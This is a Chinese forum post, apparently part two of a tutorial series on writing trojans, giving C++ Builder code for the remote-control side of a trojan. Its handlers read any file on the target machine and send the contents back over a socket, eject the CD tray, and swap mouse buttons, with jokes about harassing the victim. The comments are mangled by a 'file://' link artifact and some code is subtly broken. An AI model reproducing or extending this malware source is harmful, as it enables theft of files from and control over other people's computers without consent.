返回列表 发帖

木马是如何编写的(二)(2)

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好 好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指 累不累啊?): { else if(temp.SubString(0,4)=="type") { file://如/果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将/目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),"r"); file://打/开目标文件准备读 times_of_try=times_of_try+1; file://计/数器加1 if(times_of_try>100) { file://如/果已试了100次了 Socket->SendText("Fail By Open File"); file://返/回“Fail By Open File”的错误信息 goto END; file://跳/到END } } AnsiString Return_Text=""; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定/义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从/目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text/的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp); file://重/复 }; Return_Text=Return_Text+temp_content; file://Return_Text/的内容加上刚才的字符 fclose(fp); file://关/闭目标文件 Socket->SendText(Return_Text); file://返/回Return_Text的内容,即你查看文件的内容 } }   咳咳!累死了!还是来点轻松的吧--操纵目标机的光驱(注意:mciSendString()函 数的声明在mmsystem.h头文件中): { else if(temp=="open") { file://如/果收到的temp的内容是“open” mciSendString("set cdaudio door open", NULL, 0, NULL); file://就/弹出光驱的托盘 } else if(temp=="close") { file://如/果收到的temp的内容是“close” mciSendString("Set cdaudio door closed wait", NULL, 0, NULL); file://就/收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_ ^ } }   接着就是交换目标机的鼠标左右键,代码如下: { else if(temp=="swap") { SwapMouseButton(1); file://交/换鼠标左右键,简单吧? } }

返回列表 回复 发帖